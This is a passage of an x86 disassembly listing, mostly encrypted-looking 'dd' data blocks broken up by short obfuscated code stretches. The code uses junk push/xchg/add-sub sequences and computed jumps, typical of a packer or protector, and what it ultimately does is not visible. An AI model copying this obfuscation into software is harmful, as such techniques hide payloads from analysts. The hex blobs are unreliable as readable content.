5F859BD3h, 0F73924D2h, 1AB9EE5Ch, 0FB22DE9Ch, 1C182E4Ch dd 0DA3924E1h, 0C71DB395h, 3B3924E0h, 0A23F43Ah, 5514C362h dd 5F7593E8h, 3924E0D5h, 2D6CE077h, 0E145FFACh, 479BE32h dd 0A1FAh, 86B3C800h, 3CB9CFEDh, 3C3F42EAh, 39C0D9F7h dd 26D59678h, 6908AB44h, 3956D9F4h, 0FAF32883h, 29476E67h dd 0BC09DBF1h, 0B24D3306h, 4CDA7DBAh, 0BC6B9240h, 9D9B44DAh dd 85243306h, 4BEA8D3Fh, 353EFBD6h, 0B748DF17h, 0B62A93F5h dd 0AF3EF9Eh, 7E392B7Fh, 679F5739h, 0E1149351h, 0CF7EC32Ch dd 66842DD0h, 14CC182Eh, 458A2CE1h, 8A46B496h, 71C611F3h dd 6110819Ch, 0AEC798DEh, 0E9670F08h, 3169AF13h, 0ED6EC0Ah dd 482CE106h, 0A4955403h, 0A98B1CFh, 0FDAC6D4Fh, 3B34C9DFh dd 0F543306h, 86B3C69Ah, 44B9CFEDh, 443F4A08h, 2D651DFFh dd 0FF9DCD17h, 95448932h, 0DD521396h, 94763FC2h, 43C227FEh dd 6BA33B46h, 0BB798F55h, 0D382C71Fh, 0D5580A50h, 0F97C970Ch dd 46831A38h, 0F27894E1h, 44DDBF6Eh, 0DF8224A5h, 0F7153CFDh dd 863BA9BFh, 0D61B1FBBh, 0B6D74527h, 0A23BBE70h, 0BD32591Ch dd 495F1FA2h, 1FBB859Bh, 85E9FB11h, 286D1FBBh, 0F7F26FB4h dd 0B2491F95h, 169E80A7h, 3, 73A77FE4h, 0B85133EEh, 0F18A6C35h dd 2DC6A84Dh, 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h dd 66FFE180h, 3D1FC6h, 4EC81h, 3C890000h, 81E78924h, 4C7h dd 4EF8300h, 5C243C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx mov edx, 25A5764Ah inc edx xor edx, 50EB34B3h not edx push ebp mov ebp, 4EF760Dh sub ebp, 738034D0h add ebp, 0A547F9C3h and edx, ebp pop ebp shr edx, 6 sub edx, 0F9E58FBEh mov edi, edx pop edx push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 8 add eax, esi mov [eax], edi pop eax mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_536D7B ; --------------------------------------------------------------------------- db 0A4h dd 0B4B8738Bh, 3062539h, 25E0FFC5h, 510C1FE7h, 641461D9h dd 6357B3E8h, 0D05CB986h, 3F764352h, 0EA1C2496h, 7D3BA77Ch dd 420D0CAh, 60281E94h, 3D5404A5h, 59306F64h, 0CF2FCC89h dd 0B521C86Bh, 0AD1274F3h, 0E8387995h, 60136DC8h, 0F1421B91h dd 9F4734A8h, 6E703CF3h, 0A545C6D8h, 2064EB66h, 0ED08ED28h dd 7D5EB074h, 0BD7E2B9Dh, 2620882Dh, 0EB6FC776h, 0A334F904h dd 523E901h, 0E0810000h, 7A5C035h, 2ACEE95Eh, 7CFB168Bh dd 802540B5h, 352768DDh, 6BE0852Ah, 9207B250h, 0BD32F777h dd 0E1561FA2h, 0B52F45E1h, 0A13F4A0Ch, 0F07314ECh, 31B64F31h dd 0D2855F75h, 0A2463924h, 3D538F03h, 3924D2A7h, 0C6436AAFh dd 48753525h, 0B7D5FC96h, 7254199Eh, 3740A4BAh, 0D1163925h dd 6B86FBAAh, 0AE4729C8h, 0EF886A0Bh, 42C6A849h, 0AA4DFF45h dd 435C960Bh, 0DE8729A0h, 9714D5B7h, 3A6B11FFh, 403FEEC0h dd 0A5DDFBBEh, 251E558Fh, 0DBC0139h, 34F97D98h, 0E065FD16h dd 0F2B3955Ch, 0A13A1CCBh, 4725401h, 0EAFA1048h, 6C39251Dh dd 1DCA1A30h, 478C3925h, 0A8EE7120h, 51D570F6h, 0D5F0658Ch dd 1BB19352h, 39251DC6h, 23DF7612h, 803367BDh, 75BB3EEDh dd 0C4E30806h, 3AB44B81h, 0E1302608h, 671FC776h, 69000000h dd 4F31F073h, 24D329B9h, 0DD15B139h, 24D31DC7h, 6914AE39h dd 7C92B0F5h, 3924D268h, 77FAA9EEh, 0D4C4C231h, 17D81C5h dd 0C7000000h, 0E2CF573h, 31E7B977h, 0D887D049h, 16DF5DF6h dd 0FF1C9B34h, 9916A5B4h, 16F81FDFh, 9863FA92h, 0BE9AC251h dd 589E21D0h, 0D142F087h, 0C72B21A6h, 0D2931918h, 0F6BF425Dh dd 0F273AD81h, 34B44D2Fh, 70A8B6Dh, 0CB6E0FC1h, 501194ADh dd 0D9F22CA1h, 0DEDD8C49h, 1FB89A5Bh, 1FB6D49Dh, 6EF4B676h dd 5F41F0C3h, 5DCC12AFh, 81C51E6Fh, 80647AB2h, 0D639257Ch dd 8C3AE291h, 84000000h, 112FF273h, 0CFB170F8h, 0E47D5F0Eh dd 0EC83A140h, 2EFA193h, 8AA0BE59h, 39255C5Ah, 2608B7FCh dd 8E5FA5A2h, 5133F275h, 5DE2E190h, 67082398h, 0ED0DA4C2h dd 955CDBE7h, 96394818h, 0CD6C05E7h, 2EEB5ECEh, 50F20614h dd 0DB02C3A5h, 8522D2B4h, 1BE2D03Fh, 4C9B81C5h, 0E5000000h dd 112FF273h, 0D0B277F8h, 0C67E600Fh, 0E9F0A02Fh, 255511D3h dd 83004539h, 0D855A293h, 0BC5D9AFDh, 0D2D18049h, 0CA7892Ch dd 0F075276Dh, 54E4B82Dh, 4BFAA73Bh, 2305AC4Ch, 24D2548Dh dd 3D838439h, 0C5D4D0CEh, 18981h, 73D30000h, 964E30F1h dd 0DF60E57Dh, 5011F31Ah, 561FA2A1h, 9FE50674h, 35AA4BEDh dd 7492DF5Ah, 0DD84233Ch, 0D33BA9BFh, 0D61B3924h, 0DAB22B27h dd 0D3EC3F42h, 0EBAC8E53h, 0A183C83Ch, 499BB1E9h, 0D3306CBh dd 971A19C8h, 1597B0CEh, 0CAA53F55h, 6CB13306h, 3A24645h dd 21C4DF54h, 0DA089E80h, 0EB3306CAh, 0D154064Ch, 53D9F210h dd 536EE392h, 772F11D0h, 0B93DD85Eh, 1F1ECDF4h, 20B7D59Ch dd 0ECD350C7h, 4F129489h, 16977928h, 981BCD13h, 8E8C64D9h dd 4787E3F9h, 130h, 1586B391h, 8BA9D08Dh, 42EF5475h, 0A587CC3Fh dd 53C8690Ch, 4896B538h, 0B0973851h, 47E0C2E9h, 9A1BFDA4h dd 1C9F5197h, 0A08E055h, 0C387E49Bh, 51h, 0F18AB30Dh, 0D377BDD3h dd 9DD53924h, 24D25D87h, 0B5B4F939h, 0CC8D6F36h, 8264A91Dh dd 24D2F8ECh, 556E0A39h, 6C2D0FD6h, 82F43ABDh, 8298B6BBh dd 3924D2B2h, 34E1819Ah, 0EB929152h, 0E2279B4Ah, 0B6636Dh dd 0B2CB0000h, 49E8900Dh, 0D07F4022h, 0ED86B318h, 0EA3CB9CFh dd 0F73C3F42h, 38F97C15h, 5C05A8C3h, 0BCFBE47Ah, 25C43306h dd 0EB8A2DDFh, 0EB043C76h, 38ACA849h, 743306BBh, 6BA865Eh dd 178BD033h, 0D56423D2h, 0C0657E9Ch, 0BAD41026h, 3D823306h dd 33496716h, 392BF596h, 5292A8E0h, 42CE180h, 579C10BFh dd 0D9982039h, 0CAF482Ah, 0F90F4765h, 2CE17FEBh, 0CB192F6Bh dd 8B2CE17Fh, 8E701F46h, 0CEB06DF5h, 0AECB135h, 7FA83C52h dd 69AE2CE1h, 542E7495h, 0A7195F80h, 8BC3E192h, 7F948F4h dd 0E172F3F1h, 0A11E632Ch, 0FE7F4059h, 6965143Bh, 3306CE60h dd 32067BC0h, 0CFED86B3h, 4A0E10B9h, 70F3103Fh, 6A9154D9h dd 90A96143h, 9D9C4BEEh, 0CBE65B1Ah, 11A78928h, 3A860C6Eh dd 0C2D810A8h, 2B792322h, 4EF0EF34h, 5908C9ABh, 5BDE90D6h dd 2E447C9Ah, 2B7922B6h, 37AC5BA0h, 0F6D8991Ch, 3517DE5Dh dd 0AE60A6C7h, 0DAF56A0Bh, 0D9708E57h, 9995BA55h, 0D21228C2h dd 842B7935h, 8769183Fh, 3FFh, 0A77FCD00h, 5133EE73h, 8A6C35B8h dd 0C6A84DF1h, 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h dd 0FFE18024h, 3D1FC666h, 0E3895300h, 4C381h, 0BF570000h dd 4, 875FFB29h, 525C241Ch, 0C281E289h, 4, 4EA81h, 14870000h dd 1C895C24h, 2F536824h, 0C890000h, 3AF26824h, 1C8B0625h dd 4C48324h, 8904EC83h, 4812424h, 424h, 53525900h, 0EB242C81h dd 5A2E8705h, 5EBC281h, 51892E87h, 34FF5A08h, 0C4815924h dd 4, 51241C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch dd 0FFF93F93h, 87898024h, 5DED00D1h, 3F89B8F1h, 0C5030625h dd 7569E0FFh, 95415158h, 0B6EA6131h, 388F22ECh, 0A1270442h dd 642A6071h, 0B8CF7635h, 0BAFC1DA6h, 47EA42E2h, 4BFC0D8Fh dd 5AF76F4Eh, 9F212756h, 0C73B1826h, 363C0FF1h, 711C67D6h dd 767B1AC5h, 7BB11A79h, 0F35F1D34h, 4EB64E1h, 30277A24h dd 53FE9h, 0B4610200h, 0DD84243Fh, 0AAB4D68h, 32F37A95h dd 581DA2BDh, 0A5B0A2E3h, 0CDE85D00h, 0F8138835h, 233EB376h dd 6C6CE180h, 132ABAD0h, 772C3F4Ah, 31F0739Fh, 6C31B64Fh dd 9859DCF7h, 859A1DB6h, 0C18CA83Eh, 5E406715h, 9C7E27C5h dd 0DCBE6303h, 78D48AC5h, 0F6F5296Bh, 6A875D72h, 962F0AE7h dd 0BFD58D6Fh, 39258F25h, 4CEBEC31h, 45422C06h, 33AA4DFFh dd 53C8EFB2h, 7EF3B638h, 3C1EC363h, 556B1FA3h, 39258E8Fh dd 795B82C7h, 0F2A4EA0Bh, 0FA34A94Ch, 0A4BA3663h, 6A0D5F03h dd 0F6F5A4CBh, 3AD0B273h, 39255AA7h, 7BEA3031h, 81C54C7Dh dd 8C36h, 3B548000h, 4847F6BBh, 0DF8224A5h, 0B52F45FDh dd 0A13924D2h, 0F00E355Ch, 839951D7h, 3924D261h, 0A789B0F5h dd 0BF5537E6h, 3924D323h, 7C5E03A4h, 0BA9C45E3h, 603A801Fh dd 0BE2D7374h, 81C5D4C0h, 179h, 3B54C300h, 7912F4BDh, 0A0930F5h dd 1BDCBE67h, 26CF6D6Ch, 640DAB44h, 0A342E982h, 6DA53DC1h dd 24D28D57h, 0D584C939h, 0D25A0C52h, 0A7BDF513h, 3924D33Dh dd 0B025D419h, 3EDF5D76h, 5112F4B9h, 0D887482Ah, 1A8F56D9h dd 2FF27346h, 475D954Dh, 3924D29Dh, 405674B9h, 3924D2A4h dd 0BFBE6DB2h, 15967839h, 0E2FBCC12h, 0EBEA995Ch, 842DCF4Ah dd 95AEE85Dh, 0A4405610h, 0B23924D2h, 0AC64466Dh, 24D34E96h dd 9CC30839h, 0A822E21Fh, 6C1BC795h, 492BCA6Dh, 3C0AFA91h dd 0BE4F206Ah, 0C56C100Fh, 0F4F510A7h, 661C295h, 28C57557h dd 388573E2h, 0AFC881C5h, 0EB6650Ch, 97h, 0D4BD5458h, 0E62F5286h dd 6914AEADh, 1817C687h, 38F0D297h, 0E9FAEA00h, 6C533924h dd 9ED2965Fh, 0B05FA418h, 48660FB1h, 3BEA8F2Fh, 0A63DD559h dd 309FA2BFh, 0CA71700Bh, 0D988492Bh, 73F1056h, 24DCF3F1h dd 6F1E6339h, 0B52ACF70h, 6E50159Ah dd 36B756D5h, 0BA6A4C73h, 7A68D71Dh, 3381C5C8h, 60h, 1BC9DF17h dd 3B3924D3h, 738F47F6h, 0B44D2FF2h, 49B11932h, 0C5FB1FD9h dd 3259803Dh, 67ED7D14h, 1A0AC61Dh, 4FEE896Bh, 3BD65709h dd 5213F5BCh, 73E2B62Bh, 0F50E2CF5h, 1F01B06Dh, 24D25889h dd 397F8039h, 0C5D4CCCAh, 0DF780F81h, 5094AAACh, 63924A1h dd 4C5144C1h, 1D07827h, 1A000000h, 4E30F173h, 557332B5h dd 15F7BA3Ch, 55C3A554h, 994B6199h, 0BD3924D2h, 32F37978h dd 8BA0083h, 6D48BD64h, 7389A7CCh, 3F42DA6Ah, 1EB799DEh dd 4A65DA9Bh, 861CFEA7h, 3306CA5Ch, 0B384CA69h, 4F4E179Ah dd 67280AAFh, 6F36B9B8h, 955CDFFAh, 0CE971AB3h, 22686BECh dd 0EDB43851h, 0F5BC3F3Eh, 8B2D4680h, 817F3BEAh, 0C487E3DCh dd 85670AABh, 466D15C4h, 51000001h, 92B4A2BAh, 0B6D48F16h dd 68144A0h, 1ECD1233h, 2BBD5466h, 98395B44h, 91671B99h dd 0F9090F14h, 10D1B372h, 0BE7B3AE9h, 488197B5h, 0D83F430Ah dd 0E12FA13Dh, 0D0F7A139h, 80647AB2h, 0CD33069Ah, 0E7070C07h dd 45B993h, 53D66F51h, 7F021D92h, 0B83BD4B6h, 939617F9h dd 59189B4Dh, 400E0CE4h, 67C787E4h, 11000000h, 0D3F18AB3h dd 24D377BDh, 0DC627F39h, 0D2D80C22h, 397E3924h, 56193012h dd 58F814F1h, 0BEA0C7EEh, 24FCBC28h, 0FF454639h, 9BE8972Eh dd 0B1DAFBA2h, 81FA4302h, 0CF152B63h, 8739253Eh, 5F759342h dd 39253ED5h, 27BEDC21h, 0D7FD1B5Dh, 69DE8D47h, 2796982Fh dd 1B40D5D2h, 2B513B9Eh, 0B8671881h, 78CAh, 86B39800h dd 3CB9CFEDh, 3C3F42EAh, 0F97C15F7h, 5A8C338h, 0FBE47A5Ch dd 0C43306BCh, 0B739528Ah, 4F4B0CEEh, 3306BA95h, 4ACD7CC1h dd 6AF5204h, 1683B691h, 30F1D392h, 73D5EB09h, 0AB392BFBh dd 8C2F4866h, 7B0CD8EEh, 54A2CE1h, 8C3BFCDEh, 0C76E11AAh dd 6AB4CE5h, 49E88B24h, 4A7A667h, 41E07B5Dh, 2A349FBh dd 0A0E607DBh, 48660B2Eh, 6BB1632h, 4EC30833h, 0ED86B37Ah dd 638197CFh, 0F33924D2h, 0CBE1FFAEh, 3F4A137Dh, 253E5CA1h dd 4F31E09Dh, 0FD7233B6h, 0B4965FE2h, 1D28B1Eh, 0A726CA69h dd 53355C05h, 706F36BAh, 0C24325CCh, 0B59F79BFh, 3DC072B8h dd 41E4FF74h, 9A7C25C8h, 0D9BB7A01h, 0E8CAF118h, 8A31A84Fh dd 214809EBh, 6AB0D13Fh, 0F76C35B8h, 5C05A4BDh, 0B0AB97Ah dd 5FE7C968h, 3, 73A77F2Dh, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh dd 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h dd 3D1FC6h, 6C2B68h, 24148900h, 21ED68h, 240C8900h, 5E08950h dd 4, 42Dh, 24048700h, 2434895Ch, 25407168h, 240C8B06h dd 5404C483h, 8124348Bh, 4C4h, 8BA5200h, 1000000h, 8B0A89F2h dd 0C4832414h, 24348B04h, 81E28952h, 4C2h, 4C28100h, 87000000h dd 0FF5C2414h, 81592434h, 4C4h, 39F5E900h, 0B485FFF9h dd 6A873CF4h, 25453CB8h, 0FFC50306h, 32626BE0h, 3AD9437Ch dd 0C69FBD2Bh, 0A98CDC32h, 0A4B1FC30h, 0D3CC6148h, 33C77B6Ah dd 0EFCE040Ch, 9A13D602h, 250FF40Eh, 0E9B32645h, 5A0BE052h dd 0B107DE7Ah, 0B48D8D4Fh, 6A062546h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 62EBC353h dd 9F0BDF85h, 0FF81CD8h, 884h, 9D295700h, 61E04F1h, 758D8958h dd 89061E23h, 1E2F6D85h, 4D85C706h, 10061E32h, 5100006Bh dd 25D59D8Bh, 8A5A061Eh, 6985C7C7h, 61E31h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 4A12C352h, 2991B5FFh, 9D89061Eh, 61E2051h dd 2BE99529h, 95FF061Eh, 61E16B9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 75C35646h, 0F40DC726h, 0B749F17h dd 1E1431BDh, 0FF006A06h, 1E26C195h, 0EBC08B06h, 0D6C2B91Fh dd 9EEFA82Ah, 3F8876Ah, 76DAC823h, 0DFB8A45Fh, 57BD7484h dd 23096656h, 0F34B2C8Eh, 1F0C04EBh, 21E95C6Ch, 90000005h dd 0B6D146F3h, 0DFFA6F36h, 41F945Dh, 2C47BC65h, 3071E68Bh dd 0EFB2333Eh, 16C35F7Ah, 3DE086A1h, 6B0AADC8h, 445AF6F6h dd 3F4A18A0h, 732901B6h, 0B64F31F0h, 0DCF76C31h, 1DB69859h dd 0A4BDDB9Ah, 0D0B26100h, 1ACAE018h, 3C3924D3h, 0A77CDFA1h dd 0F0179589h, 23BA4241h, 63FCDE83h, 7E3F21C0h, 0CA4E3057h dd 1FB687CDh, 99DC367Eh, 61600FE7h, 0DA0A20DEh, 7C39258Ah dd 809B1037h, 0ABC63BFEh, 2F48660Bh, 6B04E693h, 840128C9h dd 0BAFDB68Dh, 0EDCF7EE5h, 0C4699E35h, 9A454619h, 0AB56ECEBh dd 0F43A5BC9h, 84F9BC42h, 3D1FC669h, 25C73AA7h, 0CA029E39h dd 25C730B4h, 32E12639h, 0FCFA69AFh, 0B581C4E0h, 6Bh, 31F073FFh dd 495F974Fh, 3924D29Bh, 0CBC776BBh, 3924D317h, 0AB7CC2C3h dd 0D2875D73h, 0F253924h, 3924D2D5h, 83C83C81h, 0D2954F65h dd 7CC13924h, 0D41311CDh, 11CC81C5h, 0B0000000h, 2C3D3E19h dd 8E0BF9D5h, 2C53B45h, 3FF7A609h, 4A2CF573h, 886A0BB1h dd 0C7A948EFh, 4E004643h, 779207AEh, 7EB82DF4h, 3B1DC065h dd 7313CB7Ah, 0CD557F2h, 0C26A03E5h, 0BDC04123h, 7D20C577h dd 0AB4AED08h, 0E58C30C9h, 21B5303h, 17D8BA7Bh, 0CE9FE568h dd 8D6F36B5h, 73611DCCh, 2C81C5D2h, 96h, 2FF27376h, 21C3D911h dd 353924D3h, 0C65F41F0h, 1DA18322h, 8728DA20h, 1A336DE2h dd 2BECCE97h, 35F87D7Ch, 0B578FE17h, 0C2712CB6h, 1A047E0h dd 6AE3861Fh, 1AFC23C2h, 5739FC81h, 0B38DD3D6h, 172D659Dh dd 3924D2CDh, 0A7454489h, 86CC4FFEh, 3EBF1EB5h, 69E68F2Dh dd 6E1D00BFh, 0C4FFC4B2h, 647D81h, 54C70000h, 0A94AB9BDh dd 7D2CF270h, 1634F97Eh, 0D4B67FFDh, 5DFF513h, 51392546h dd 0E27B5D0Ch, 627B995Ch, 753618DDh, 0AA49E4C6h, 680DB264h dd 0F5731FF3h, 0CA009AD6h, 6309E38Bh, 0F81FE0C2h, 657BB3D1h dd 3925447Fh, 1E392D7h, 2544766Bh, 1B616239h, 0C562AEACh dd 86781h, 324B0000h, 4203E590h, 0F173DB93h, 0C4DA1230h dd 3924D320h, 6042F136h, 9B7D24C7h, 0D3B56002h, 0EF0B53Ah dd 6A448A8Dh, 0D043DA96h, 0A24F3A14h, 0D51B9E4Dh, 6BE08123h dd 4FF0A990h, 0A38530D2h, 7694BBE2h, 43B57D60h, 0A486CB3Fh dd 7D73680Bh, 26CB6BD6h, 3C068344h, 46BBE2DCh, 7E9882Bh dd 0ECB1364Fh, 742CB8CEh, 0E52A3307h, 73A83A36h, 7E1D3307h dd 42E38638h, 660FB2CDh, 6BF71048h, 7432B2AEh, 0DF243307h dd 32B54E30h, 75571A9Bh, 12AB8DB4h, 4EE7C96Ch, 0B92709B4h dd 91785298h, 1396488Eh, 705DD52h, 0C087E334h, 108h, 0ED86B30Ah dd 0F97E97CFh, 0F25472DEh, 5C832CBDh, 0E0AB97Ah, 3F43EBBBh dd 0A53E2065h, 0D3EE6302h, 16AF9150h, 6FF0D293h, 6F2AB8D1h dd 4F4FCC8Dh, 16163B08h, 0F238BB6Ah, 0C1600821h, 706F1EDFh dd 0D7AF24CDh, 87E38DD9h, 6392h, 8AB3DC00h, 0EED09519h dd 0CFE8062Dh, 0DA68829h, 0F09FC66Fh, 0D378BCD2h, 0BBD43924h dd 0D6977938h, 506EB327h, 43F2B737h, 0D319CB61h, 0E8E93924h dd 0E0D30A2h, 0B039A4C9h, 0E7052CF4h, 531296AFh, 6110D154h dd 2548CF65h, 0C4647D39h, 0B5FA6E1Dh, 3BFA7E97h, 610D178Ch dd 75000000h, 0BE40D95Ch, 6D25D4FBh, 0CFED86B3h, 42EA3CB9h dd 15F73C3Fh, 0C338F97Ch, 7A5C05A8h, 6BCFBE4h, 0DF25C433h dd 76EB8A2Dh, 0B7D59E9Bh, 0FAE5E87Fh, 0A1ADDB35h, 58C4F6F2h dd 0F93E392Bh, 3AFB7E17h, 0C160031Ch, 1BC46DFh, 0DB492BDAh dd 370274BAh, 61031C3Ah, 0DDF311C0h, 330611DDh, 976BE025h dd 0CFED86B3h, 4A1A01B9h, 40E4013Fh, 58A8BFA1h, 1A5305Dh dd 2DB5B4DBh, 0A6CD8E70h, 0D8BDF188h, 0E8650CABh, 5F0ED990h dd 0C841E47Dh, 0DE9F8120h, 753AAAC0h, 0D71C32FFh, 9D203BB0h dd 92B978FCh, 0C8271AB0h, 76738D48h, 62FB7E30h, 733416DFh dd 39BCD74Ch, 0A1415A78h, 0CA6345F4h, 32A08223h, 9619CB11h dd 0C41AB1CFh, 423C448h, 86A116C5h, 0D86042E3h, 8, 0DD842740h dd 0A77F762Eh, 5133EE73h, 8A6C35B8h, 0C6A84DF1h, 6E8952Dh dd 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h, 3D1FC666h dd 5D545500h, 4C581h, 0ED830000h, 242C8704h, 4050685Ch dd 2C890000h, 37446824h, 4890000h, 52B4BD24h, 0E5C12AEAh dd 4DD5F708h, 0C106E5C1h, 0BB5308E5h, 7E44549Fh, 110ACB81h dd 0E3815D3Eh, 7DAA1A1Fh, 3555CB81h, 0EBD115E8h, 53CCEB81h dd 0DD018BCFh, 48B545Bh, 4C48124h, 55000000h, 28DDB951h dd 4C31302Bh, 8F590424h, 70810840h, 2B28DD08h, 2434FF30h dd 4C48158h, 8B000000h, 8950242Ch, 405E0h, 0C0830000h dd 24048704h, 33A1E95Ch, 0E832FFF9h, 0D59978FFh, 254B69B8h dd 0FFC50306h, 77FEBCE0h, 6CFA170Fh, 21E9F74Ch, 70EC5207h dd 188F6043h, 6EE2BB16h, 98D8524Bh, 70D33C4Ch, 66284552h dd 24C8205Eh, 0F354CD4Ch, 7E71F10Fh, 3AEC272h, 0B7E1DE1Fh dd 0A22D3E09h, 7493A058h, 0D0071E6Ch, 0D214C743h, 7CDBF53Ah dd 0CBE51D5Ah, 16A0D05Dh, 9FC06977h, 9D964223h, 0C567D86Dh dd 0D504EB60h, 0E93D2E7Ah, 567h, 46BB66FBh, 6FE48D2Bh dd 9C11D054h, 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh dd 65092499h, 8D304BC0h, 0D36F6FE4h, 4A1F27BDh, 0A27A2F3Fh dd 0F5BC3B54h, 0A4A35213h, 0E57E6001h, 0D289D40h, 50E9CB6Ah dd 892204ADh, 0DC6042E3h, 0EEF60C44h, 683924D2h, 0ABF17423h dd 91AF76F9h, 0D355F478h, 486F3012h, 81F6A566h, 0BD45C066h dd 4964D900h, 851E00A5h, 0F05E40FDh, 57D789CFh, 7F021D92h dd 739A5BDEh, 0D2E6FB91h, 0F1F23924h, 0D43E3CABh, 688181C5h dd 0CC7423C6h, 5Dh, 6FBD5416h, 1E3B1F3Bh, 24C7C675h, 0DD059B7Dh dd 0FD392521h, 0ADE5B6FCh, 25224D97h, 15C40939h, 0C5855B59h dd 11481h, 735E0000h, 0B14A2CF5h, 144C6A0Bh, 24D2E6FEh dd 7C2B7039h, 0BB7A019Ah, 125855D9h, 0FB19D860h, 0B39540E2h dd 0B3CE43F2h, 0BC537130h, 25DF05A3h, 77EC9B1Fh, 2FF273A3h dd 9534B44Dh, 45274E17h, 896B16ACh, 0C6A849F0h, 0ED1D6364h dd 14C0BD82h, 5C436A1Ch, 29421359h, 0CA770B82h, 8128C1A3h dd 0C73CB9E0h, 0B17F83F9h, 0F2737221h, 0E980BA2Fh, 981D1F27h dd 0B532F3D5h, 0DC5B44ADh, 403FEE15h, 7912F4BDh, 0C1D7D8F7h dd 9EF02A13h, 335A1F9Fh, 0BE04A151h, 9150D4EDh, 453826E2h dd 65F181C5h, 0D5000000h, 555D879Dh, 0C96E3925h, 0BC6BB024h dd 2FF27304h, 7130B44Dh, 0C80E0B8Fh, 9A5BDEF7h, 0D49D1FB8h dd 5B0A31F2h, 0A116DB5Ch, 63C4D067h, 0C6A4F024h, 0CD7C25C7h dd 668429CEh, 96CC182Eh, 458A3925h, 9C1BB496h, 0A643F3D5h dd 0F03F160h, 4DBC81C5h, 6000000h, 4D2FF273h, 8D6F32B4h dd 5B0D53F2h, 0CEA217DAh, 0CD4ABD54h, 0AA81E4F8h, 0B57CFCFBh dd 0CDE31BD3h, 3924DE17h, 0F96D34B4h, 0D80905B4h, 3924DDh dd 0CFE8B9FFh, 6D778D2Dh, 0E93924DDh, 0DA9B7DA4h, 0C9716F2Bh dd 12A81C5h, 74000000h, 4E30F173h, 557332B5h, 16F8B93Ch dd 56C4A655h, 51EEF35h, 100FBE67h, 1650C56Ch, 0D4B67FFDh dd 0DC09AEBDh, 42693ED7h, 0C65D493h, 0A705D8EEh, 0FE433F43h dd 5292A8E0h, 4330797h, 762E10BFh, 468844DFh, 58DB3EEDh dd 0CFF6B799h, 0D79E2120h, 0FDA44762h, 0E5D851Bh, 0C9683307h dd 872ED183h, 0AD74F712h, 848CF88Fh, 3B1DD86Ah, 7154FD7Ah dd 0FE977928h, 37ADC37Bh, 1F3306FBh, 0FB17CDE3h, 0FA3F3306h dd 49CAACD3h, 0AB4E0046h, 4755EC0Ah, 0EE67A7E3h, 3D158A39h dd 87E3453Fh, 16BF8h, 20C3DC00h, 7A5C19A9h, 0EFB092B9h dd 86B38840h, 10B9CFEDh, 103F42F0h, 0AD50E9CBh, 0D7ED8D2Ch dd 3306B60Dh, 0B6DD0449h, 38F97F98h, 61779556h, 3306B583h dd 6ADF8ED3h, 2305AC4Fh, 67E8E78Ah, 24DCE3ACh, 0DA73557Ch dd 16AF9154h, 56F1D392h, 0B09771B7h, 0FF9667ADh, 4E7AD110h dd 1E1DCC2Ch, 8D65DA9Bh, 87E3D68Fh, 0CAE03BD2h, 2411764Ah dd 0FDDF8625h, 50E58D3Ch, 2F000000h, 0D3F18AB3h, 24D377BDh dd 0B437F39h, 24D2EFF5h, 26226739h, 3924D2BEh, 1F355398h dd 3924D2C5h, 43254C91h, 24D337ADh, 84CACB39h, 0F901CB3h dd 8C46D200h, 0A88C586Eh, 85CA3925h, 4D2617D6h, 0A91B192Fh dd 96DB3925h, 0A21721h, 0B3E50000h, 0B9CFED86h, 3F42EA3Ch dd 7C15F73Ch, 0A8C338F9h, 253E5C05h, 3DFEE09Dh, 4A6EFEC0h dd 5C0B6CD5h, 62FBE47Ah, 22C63306h, 6008A183h, 79A045E9h dd 0EE343597h, 2E741314h, 0C338F97Ch, 22051E8h, 0BD9F46E9h dd 0F72F4DFCh, 189558DEh, 34197571h, 0D09B822h, 392B7A42h dd 2AC3A5EAh, 0E7660687h, 0FFC0A247h, 0E35F6D8h, 6B02BE2Ch dd 0F5432107h, 3ABCBB14h, 0FF45C877h, 4E0F62Eh, 522CE119h dd 0F70F900Dh, 13B78D7Bh, 794A564h, 1FE0C267h, 3FC1DAF8h dd 93A9C776h, 330660BCh, 0E2B62B70h, 7F9786B3h, 21C4691Ah dd 3C996DA4h, 25B6BE26h, 2C539839h, 7ED1E705h, 0AE3F4B03h dd 4BEE8769h, 971A35AAh, 7356ECCEh, 226E0B93h, 17CDE39Bh dd 3FF7F542h, 58F1D3FAh, 0CD2F11D0h, 0C2AC86CCh, 76AE7FC5h dd 0F5418460h, 2A747F7h, 9B9A498Eh, 0C9E45918h, 49D7F26h dd 79EBC65h, 0E0D9BF71h, 0CBAD5C95h, 44F63C5Dh, 708B00A1h dd 8A4224CDh, 4729CC71h, 9B7B0986h, 0DA0686DBh, 153D2Bh dd 7F0B0000h, 0F1F30941h, 653924D2h, 0D2D11329h, 40853924h dd 73B26A19h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh, 6D06E895h dd 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h, 3D1FC6h dd 81E38953h, 4C3h, 4EB8300h, 31241C33h, 1C33241Ch, 89535C24h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 242C895Ch, 379068h dd 24048900h, 0B62FCFBDh, 0D5F74D7Ch, 3EDC145h, 8106E5C1h dd 6BCDF8F5h, 48B541Ch, 4C48324h, 77BF5755h, 177FE15h dd 5F04247Ch, 8108408Fh, 15770868h, 34FF77FEh, 0C4835824h dd 242C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, 